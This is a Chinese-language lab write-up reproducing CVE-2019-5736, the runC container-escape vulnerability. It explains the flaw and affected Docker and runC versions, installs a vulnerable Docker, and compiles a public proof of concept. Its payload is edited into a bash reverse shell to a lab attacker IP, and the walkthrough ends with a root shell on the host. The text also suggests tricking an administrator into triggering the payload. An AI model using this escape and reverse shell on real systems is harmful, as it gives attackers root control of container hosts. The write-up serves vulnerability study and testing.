1 前言
1.1 概述
2019年2月11日,runC的维护团队报告了一个新发现的漏洞,SUSE Linux GmbH高级软件工程师Aleksa Sarai公布了影响Docker, containerd, Podman, CRI-O等默认运行时容器runc的严重漏洞CVE-2019-5736。
漏洞会对IT运行环境带来威胁,漏洞利用会触发容器逃逸、影响整个容器主机的安全,最终导致运行在该主机上的其他容器被入侵。漏洞影响AWS, Google Cloud等主流云平台。
攻击者可以通过特定的容器镜像或者exec操作可以获取到宿主机的runC执行时的文件句柄并修改掉runc的二进制文件,从而获取到宿主机的root执行权限。
1.2漏洞原理
漏洞点在于runC,RunC是一个容器运行时,最初是作为Docker的一部分开发的,后来作为一个单独的开源工具和库被提取出来。作为“低级别”容器运行时,runC主要由“高级别”容器运行时(例如Docker)用于生成和运行容器,尽管它可以用作独立工具。像Docker这样的“高级别”容器运行时通常会实现镜像创建和管理等功能,并且可以使用runC来处理与运行容器相关的任务:创建容器、将进程附加到现有容器等。在Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6,因此允许攻击者重写宿主机上的runc 二进制文件,攻击者可以在宿主机上以root身份执行命令。
1.3 利用方式
docker 18.09.2之前的runc存在漏洞,攻击者可以修改runc的二进制文件导致提权。
前提条件:
要利用此漏洞,您需要在容器内拥有 root (uid 0)。
1.4 影响版本
docker version <=18.09.2 RunC version <=1.0-rc6
2 安装有漏洞的docker
环境安装
(1)卸载已将安装的docker
(2)列出可用版本
yum list docker-ce --showduplicates | sort -r
(3)安装有漏洞版本<=18.09.2,这里选择18.06.0.ce-3.el7版本
sudo yum install docker-ce-18.06.0.ce-3.el7 -y
查看版本:看到docker版本为18.06.0.ce<18.09.2,runc版本为1.0.0 rc5<1.0-rc6。
值得注意的是高版本docker中使用runc -v来runc查版本。
docker -v
docker-runc -v
(5)在受害者机器上启动一个容器49bd670396f4,搭建攻击环境
[root@archery-sec9002 supper-user]# docker pull nginx
[root@archery-sec9002 supper-user]# docker run --name nginx-test -p 8080:80 -d nginx
[root@archery-sec9002 supper-user]# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
49bd670396f4 nginx "/docker-entrypoint.…" 4 seconds ago Up 3 seconds 0.0.0.0:8080->80/tcp nginx-test
3 漏洞复现
漏洞复现整体过程如下图所示:其中,下图中为了方便复现,制作payload过程 我们直接在受害者机器上制作。
攻击者机器IP为:10.65.103.67(archery-sec9001)。
受害者机器IP为:10.65.103.68(archery-sec9002)
3.1 受害者机器制作payload
(1)受害者机器上生成payload
下载CVE-2019-5736编译go脚本生成攻击payload。(https://github.com/Frichetten/CVE-2019-5736-PoC),将go脚本中payload修改为反弹shell的payload,设置nc监听地址。
var payload="#!/bin/bash \n bash -i >& /dev/tcp/10.65.103.67/1234 0>&1"
(2)安装Go环境
该工具需要GO环境,这里使用1.14版本。非版本可能不兼容。
使用二进制文件安装【安装】
标准官网:https://golang.org/ 需要墙
镜像官网:https://golang.google.cn/dl/ 【国内推荐】
a.下载文件
wget https://dl.google.com/go/go1.14.linux-amd64.tar.gz
tar -zxf go1.14.linux-amd64.tar.gz -C /usr/local
b.配置环境变量
vi /etc/profile
在/etc/profile文件末尾添加以下配置,输入 :wq保存
#golang env config
export GO111MODULE=on
export GOROOT=/usr/local/go
export GOPATH=/home/gopath
export PATH=$PATH:$GOROOT/bin:$GOPATH/bin
这里的GO111MODULE配置是go1.11后出的一种新的包管理go modules方式代替vendor机制,可以不需要GOPATH,项目代码也不一定要放在GOPATH下面 可参考https://www.cnblogs.com/apocelipes/p/9534885.htm
GO111MODULE=auto 自动
GO111MODULE=on 使用go modules,不会在vendor和gopath找依赖 【推荐新版都用这种】
GO111MODULE=off 使用vendor 或者gotpath
配置文件生效
source /etc/profile
go version
(3)编译脚本:生成一个可执行的脚本main
cd CVE-2019-5736-PoC
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
3.2 payload传入受害者容器中
(1)将该payload(main文件)拷贝到docker容器中(这就是模拟攻击者获取了docker容器权限,在容器中上传payload进行docker逃逸)并将main文件修改权限可执行。
[root@archery-sec9002 CVE-2019-5736-PoC]# docker cp main 49bd670396f4:/home
[root@archery-sec9002 CVE-2019-5736-PoC]# docker exec -it 49bd670396f4 /bin/sh
root@49bd670396f4:/# cd home
root@49bd670396f4:/home# chmod 777 main
3.3 攻击
将该payload拷贝到docker容器中(这就是模拟攻击者获取了docker容器权限,在容器中上传payload进行docker逃逸)
(1)在49bd670396f4容器中执行payload文件main
执行payload,等待受害者去启动docker容器。(如果ctf比赛选手说容器启动有问题,引诱管理员启动docker就中招了)
root@49bd670396f4:/home# ./main
(2) 攻击者同步开启nc监听(ip为10.65.103.67,监听端口为1234、与main中的payload一致。)
nc -vv -lp 1234
(3) 在xshell重新打开一个选项卡,进入容器。(sh启动),模拟受害者重新打开容器时。
[root@archery-sec9002 CVE-2019-5736-PoC]# docker exec -it 49bd670396f4 /bin/sh
观察容器中
(4) 受害者启动docker容器时,触发payload,成功反弹shell。即容器逃逸成功,已进入受害者机器,并且是root权限。